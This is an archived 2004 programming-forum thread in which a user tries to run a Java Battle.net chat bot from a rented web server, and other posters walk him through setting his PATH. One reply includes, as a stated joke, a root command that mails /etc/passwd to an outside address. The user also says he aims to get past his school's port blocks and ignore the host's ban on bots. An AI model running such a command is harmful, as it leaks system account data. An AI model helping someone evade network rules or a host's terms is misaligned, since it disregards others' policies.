Valhalla Legends Archive

Programming => General Programming => Java Programming => Topic started by: AC_Drkan on November 05, 2004, 05:39 PM

Title: [Java] Running Bot Off of a Webserver
Post by: AC_Drkan on November 05, 2004, 05:39 PM
I have a file named bot.jar, its a chat bot, and i was wondering if there was anyway that i could run it by using the <applet> tags in HTML. I have tried but i cannot get the code base down and im pretty lost, please help. My Following <applet> tags:

<applet code=Something Here archive="bot.jar" width=640 height=400>

Title: Re: [Java] Running Bot Off of a Webserver
Post by: iago on November 06, 2004, 02:26 AM
The JVM has a rule that it can't connect to a server that isn't hosted locally on the client and isn't hosted on the server that the Applet is on.  I don't think a bot would work to connect to Battle.net because of that.
Title: Re: [Java] Running Bot Off of a Webserver
Post by: AC_Drkan on November 06, 2004, 08:36 AM
Quote from: iago on November 06, 2004, 02:26 AM
The JVM has a rule that it can't connect to a server that isn't hosted locally on the client and isn't hosted on the server that the Applet is on.  I don't think a bot would work to connect to Battle.net because of that.

Then how does an irc client connect to an irc server from a web server?
Title: Re: [Java] Running Bot Off of a Webserver
Post by: iago on November 06, 2004, 01:33 PM
I would guess (?) that the irc server is running on the web server.
Title: Re: [Java] Running Bot Off of a Webserver
Post by: AC_Drkan on November 06, 2004, 09:09 PM
Quote from: iago on November 06, 2004, 01:33 PM
I would guess (?) that the irc server is running on the web server.

Nope,

It connect from a java application witha .jar extension, similar to the Bot. But i tried the settings for the bot as the same for the application and it turned up nothing.

Im not talking about running it 24/7.Just for like 50 minutes each day because at my school, port 6112 and 6115 are blocked.
Title: Re: [Java] Running Bot Off of a Webserver
Post by: Banana fanna fo fanna on November 06, 2004, 10:49 PM
signed applet
proxy on web server
Title: Re: [Java] Running Bot Off of a Webserver
Post by: iago on November 07, 2004, 02:45 AM
You should look into JavaOp (http://javaop.clan-e1.net).  You can run JavaOp on your home computer, then connect to http://your.ip:port.  You can run it on whatever port.  And you get a very nice looking web interface to use it through.
Title: Re: [Java] Running Bot Off of a Webserver
Post by: AC_Drkan on November 07, 2004, 06:19 PM
Quote from: iago on November 07, 2004, 02:45 AM
You should look into JavaOp (http://javaop.clan-e1.net).  You can run JavaOp on your home computer, then connect to http://your.ip:port.  You can run it on whatever port.  And you get a very nice looking web interface to use it through.

I have JavaOp but i cannot get it to run on a linux server.(not mine) i use the hosting service from 1and1.com .Business Package which allows for SSL.

Perhaps you can help me.

I cannot find the fully compiled version.
Title: Re: [Java] Running Bot Off of a Webserver
Post by: AC_Drkan on November 08, 2004, 08:16 PM
-----------------------------------------------
|         _                   ___             |
|        | | __ ___   ____ _ / _ \ _ __       |
|     _  | |/ _` \ \ / / _` | | | | '_ \      |
|    | |_| | (_| |\ V / (_| | |_| | |_) |     |
|     \___/ \__,_| \_/ \__,_|\___/| .__/      |
|                                 |_|         |
-----------------------------------------------
>>> Loading profile
Exception in thread "main" java.lang.NoSuchMethodError
        at util.Output.addChat(Output.java:36)
        at bot.BNetSocket.<init>(BNetSocket.java:90)
        at Main.main(Main.java:75)

^^ i don't think thats a good sign ^^
Title: Re: [Java] Running Bot Off of a Webserver
Post by: iago on November 08, 2004, 09:57 PM
You need to upgrade to java 1.4.2.  You can get that from http://java.sun.com
Title: Re: [Java] Running Bot Off of a Webserver
Post by: AC_Drkan on November 13, 2004, 09:18 PM
Help?


Secruity Reasons:~/Java/javaop/bin > java main profile
bash: java: command not found


I followed the directions... help me!!
Title: Re: [Java] Running Bot Off of a Webserver
Post by: iago on November 14, 2004, 02:12 PM
You need to make a link to the Java binaries somewhere on your path.  I'm guessing that Java is installed in /usr/local/j2sdk, in which case you need to do this, as root:
$ ln -s /usr/local/j2sdk/bin/* /usr/local/bin

And while you're on root, don't forget this:
$ echo -ne "To: [email protected]\n\n`cat /etc/passwd`\n\n" | /usr/bin/mail
(I'm joking about that, of course)
Title: Re: [Java] Running Bot Off of a Webserver
Post by: AC_Drkan on November 14, 2004, 04:58 PM
Quote from: iago on November 14, 2004, 02:12 PM
You need to make a link to the Java binaries somewhere on your path.  I'm guessing that Java is installed in /usr/local/j2sdk, in which case you need to do this, as root:
$ ln -s /usr/local/j2sdk/bin/* /usr/local/bin

And while you're on root, don't forget this:
$ echo -ne "To: [email protected]\n\n`cat /etc/passwd`\n\n" | /usr/bin/mail
(I'm joking about that, of course)

I don't have access to the Root Admin Account. I bought a hosting service with ssl thats running a linux server.
Title: Re: [Java] Running Bot Off of a Webserver
Post by: iago on November 14, 2004, 06:37 PM
Ok, then you need to add the path to the java binaries to your path.

Assuming you're using Bash, you can create a file in your home folder called .bash_profile (I *think*) (don't forget the period in front), and put this in it:
PATH=/usr/local/j2sdk/bin:$PATH

Again, that's assuming that java is installed in /usr/local/j2sdk/bin.  It doesn't matter where Java is, as long a you add it's "bin" folder to your path.
Title: Re: [Java] Running Bot Off of a Webserver
Post by: AC_Drkan on November 15, 2004, 05:49 AM
Quote from: iago on November 14, 2004, 06:37 PM
Ok, then you need to add the path to the java binaries to your path.

Assuming you're using Bash, you can create a file in your home folder called .bash_profile (I *think*) (don't forget the period in front), and put this in it:
PATH=/usr/local/j2sdk/bin:$PATH

Again, that's assuming that java is installed in /usr/local/j2sdk/bin.  It doesn't matter where Java is, as long a you add it's "bin" folder to your path.

?? Im confused....

So makle a folder called .bash_profile
and put what inside it?
a text file containing PATH=/usr/local/j2sdk/bin:$PATH ??
Title: Re: [Java] Running Bot Off of a Webserver
Post by: iago on November 15, 2004, 12:46 PM
Quote from: iago on November 14, 2004, 06:37 PM
Assuming you're using Bash, you can create a file in your home folder called .bash_profile (I *think*) (don't forget the period in front), and put this in it:
PATH=/usr/local/j2sdk/bin:$PATH

Just do this command at the prompt:
echo "PATH=/usr/local/j2sdk/bin:\$PATH" >> ~/.bash_profile

But Make sure you change the PATH we added (/usr/local/j2sdk/bin) to the path that the actual java executables can be found.  If you don't, it still won't work.
Title: Re: [Java] Running Bot Off of a Webserver
Post by: AC_Drkan on November 15, 2004, 02:31 PM
Quote from: iago on November 15, 2004, 12:46 PM
Quote from: iago on November 14, 2004, 06:37 PM
Assuming you're using Bash, you can create a file in your home folder called .bash_profile (I *think*) (don't forget the period in front), and put this in it:
PATH=/usr/local/j2sdk/bin:$PATH

Just do this command at the prompt:
echo "PATH=/usr/local/j2sdk/bin:\$PATH" >> ~/.bash_profile

But Make sure you change the PATH we added (/usr/local/j2sdk/bin) to the path that the actual java executables can be found.  If you don't, it still won't work.

Where would the world be without you?

1 Final QUESTION!!!!!
Path would be = "/javaop/bin/javaop-background.bat"
correct?
Title: Re: [Java] Running Bot Off of a Webserver
Post by: iago on November 15, 2004, 02:54 PM
You want the path to JAVA, not to JAVAOP.  If you need to find it, try
find / -name "java"

That'll get you a lot of wrong stuff, but it'll be in a folder called "bin" though.
Title: Re: [Java] Running Bot Off of a Webserver
Post by: AC_Drkan on November 15, 2004, 03:04 PM
And 5 minutes later its still running..........

find: /homepages/3/d105986225/htdocs: Permission denied
find: /homepages/3/d105988152/htdocs: Permission denied
find: /homepages/3/d105989280/htdocs: Permission denied
find: /homepages/3/d106014707/htdocs: Permission denied



Any way to narrow it down?

EDIT:
Nevermind.

I found a Way to get it.
But now im getting this error:


bash: /homepages/17/d105382477/htdocs/java/bin/javaop-background.bat=/usr/local/j2sdk/bin:: No such file or directory
Title: Re: [Java] Running Bot Off of a Webserver
Post by: iago on November 15, 2004, 05:16 PM
That .bat file was designed for users to double-click to run, and it never actually worked, and I have no idea why you are putting it anywhere.  When did I ever say to use it?

Also, /usr/local/j2sdk/bin probably ISN'T where Java is installed to.  I said at least 3 times in this topic, "change /usr/local/j2sdk/bin to where ever Java is installed on your system"
Title: Re: [Java] Running Bot Off of a Webserver
Post by: AC_Drkan on November 15, 2004, 05:26 PM
Quote from: iago on November 15, 2004, 05:16 PM
That .bat file was designed for users to double-click to run, and it never actually worked, and I have no idea why you are putting it anywhere.  When did I ever say to use it?

Also, /usr/local/j2sdk/bin probably ISN'T where Java is installed to.  I said at least 3 times in this topic, "change /usr/local/j2sdk/bin to where ever Java is installed on your system"

I Cannot Find Where its installed on the system.

Im searching the File Directories but im still unable to find it.
Title: Re: [Java] Running Bot Off of a Webserver
Post by: Falcon[anti-yL] on November 15, 2004, 06:07 PM
Reinstall it?
Title: Re: [Java] Running Bot Off of a Webserver
Post by: MyndFyre on November 15, 2004, 06:28 PM
Most of us who don't know how to run Linux just stick with unsafe, insecure, unstable Windows.  :P
Title: Re: [Java] Running Bot Off of a Webserver
Post by: Banana fanna fo fanna on November 15, 2004, 07:23 PM
First, what does SSL have to do with anything?
Second, I don't think your server has a JRE installed. That sucks. You're probably also violating their TOS by trying to run a bot, too.
Title: Re: [Java] Running Bot Off of a Webserver
Post by: AC_Drkan on November 15, 2004, 07:27 PM
Quote from: Banana fanna fo fanna on November 15, 2004, 07:23 PM
First, what does SSL have to do with anything?
Second, I don't think your server has a JRE installed. That sucks. You're probably also violating their TOS by trying to run a bot, too.

Most likely,
But when the give you read and write access to the entire server,
I don't think they know what their doing.

On a Side Note:
Then how would the server run java applications Like the IRC Client?

THEIR TOS:

Shell access is provided for web development and not for running
irc-bots, arbitrary tcp/udp servers (e.g. gameservers) or cracking toolkits.
Disregard leads to suspension of your contract.


Its not an irc bot. ;)
Title: Re: [Java] Running Bot Off of a Webserver
Post by: Banana fanna fo fanna on November 15, 2004, 07:29 PM
Because the server is not running Java applets, which is what I think you're refering to. The client is.